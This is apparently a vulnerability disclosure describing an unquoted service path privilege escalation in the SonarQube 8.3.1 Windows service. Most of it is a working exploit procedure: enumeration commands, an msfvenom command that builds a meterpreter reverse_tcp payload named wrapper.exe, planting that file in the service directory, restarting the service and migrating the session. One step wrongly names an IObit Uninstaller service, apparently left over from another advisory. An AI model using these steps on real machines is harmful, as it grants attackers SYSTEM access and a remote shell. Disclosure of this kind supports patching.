About Unquoted Service Path :
==============================

When a service is created whose executable path contains spaces and isn't
enclosed within quotes,
leads to a vulnerability known as Unquoted Service Path which allows a user
to gain SYSTEM privileges.
(only if the vulnerable service is running with SYSTEM privilege level
which most of the time it is).

Steps to recreate :
=============================

1. Open CMD and Check for USP vulnerability by typing [ wmic service get
name,displayname,pathname,startmode | findstr /i "auto" | findstr /i /v
"c:\windows\\" | findstr /i /v """ ]
2. The Vulnerable Service would Show up.
3. Check the Service Permissions by typing [ sc qc SonarQube]
4. The command would return..

C:\Users\HP-840-G2-ELITEBOOK>sc qc SonarQube
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: SonarQube
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME :
C:\Users\HP-840-G2-ELITEBOOK\Downloads\sonarqube-8.3.1.34397\sonarqube-8.3.1.34397\bin\windows-x86-64\wrapper.exe
-s
C:\Users\HP-840-G2-ELITEBOOK\Downloads\sonarqube-8.3.1.34397\sonarqube-8.3.1.34397\conf\wrapper.conf
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : SonarQube
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem

5. This concludes that the service is running as SYSTEM. "Highest
privilege in a machine"
6. Now create a Payload with msfvenom or other tools and name it to
wrapper.exe
7. Make sure you have write Permissions to where you downloaded. i kept it
in downloads folders but confirmed it in program files as well.
8. Provided that you have right permissions, Drop the wrapper.exe
executable you created into the
"C:\Users\HP-840-G2-ELITEBOOK\Downloads\sonarqube-8.3.1.34397\sonarqube-8.3.1.34397\bin\windows-x86-64\"
Directory.
9. Now restart the IObit Uninstaller service by giving coommand [ sc stop
SonarQube] followed by [ sc start SonarQube]
10. If your payload is created with msfvenom, quickly migrate to a
different process. [Any process since you have the SYSTEM Privilege].

During my testing :

Payload : msfvenom -p windows/meterpreter/reverse_tcp -f exe -o wrapper.exe
Migrate : meterpreter> run post/windows/manage/migrate [To migrate into a
different Process ]
